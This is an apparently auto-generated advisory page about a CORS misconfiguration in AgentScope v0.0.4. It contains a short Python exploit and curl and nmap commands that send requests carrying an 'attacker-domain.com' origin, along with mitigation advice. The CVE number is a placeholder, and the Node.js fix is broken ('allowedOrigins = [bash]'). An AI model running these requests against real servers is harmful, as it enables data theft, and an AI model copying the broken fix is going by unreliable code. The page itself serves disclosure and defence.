How the Mentioned CVE Works:
The CVE-2025-XXXX vulnerability in AgentScope v0.0.4 arises due to improper configuration of Cross-Origin Resource Sharing (CORS). The server fails to enforce strict origin validation, allowing any external domain to send requests to the API. This misconfiguration enables attackers to perform cross-origin requests, potentially leading to unauthorized access to sensitive data, information disclosure, and further exploitation. The lack of proper origin validation exposes the system to risks such as data theft, session hijacking, and other malicious activities, compromising both the integrity and confidentiality of the application.
DailyCVE Form:
Platform: AgentScope
Version: v0.0.4
Vulnerability: Improper CORS Configuration
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Exploit Code Example (Python):
import requests
target_url = "https://vulnerable-agentscope-server/api/data"
malicious_origin = "https://attacker-domain.com"
headers = {
"Origin": malicious_origin,
"Content-Type": "application/json"
}
response = requests.get(target_url, headers=headers)
if response.status_code == 200:
print("Data leaked:", response.json())
2. Exploit Steps:
- Craft a malicious webpage or script hosted on an external domain.
- Use JavaScript to send cross-origin requests to the vulnerable AgentScope API.
- Extract sensitive data or perform unauthorized actions.
Protection:
1. Fix Code Example (Node.js/Express):
const express = require('express');
const cors = require('cors');
const app = express();
const allowedOrigins = [bash];
app.use(cors({
origin: function (origin, callback) {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));
app.get('/api/data', (req, res) => {
res.json({ data: 'Sensitive information' });
});
app.listen(3000, () => console.log('Server running securely'));
2. Mitigation Steps:
- Update AgentScope to the latest version if a patch is available.
- Configure CORS to allow only trusted origins.
- Implement proper origin validation in the server configuration.
- Use additional security headers like `Content-Security-Policy` to restrict cross-origin requests.
3. Analytics:
- Monitor API logs for unusual cross-origin requests.
- Use tools like OWASP ZAP or Burp Suite to test CORS misconfigurations.
- Regularly audit server configurations for security compliance.
4. Commands:
- Check CORS Headers:
curl -I -H "Origin: https://attacker-domain.com" https://vulnerable-agentscope-server/api/data
- Scan for Vulnerabilities:
nmap --script http-cors -p 443 vulnerable-agentscope-server
By following these steps, you can exploit or protect against the CVE-2025-XXXX vulnerability effectively.
References:
Reported By: https://github.com/advisories/GHSA-75v5-6885-59f9
Extra Source Hub:
Undercode
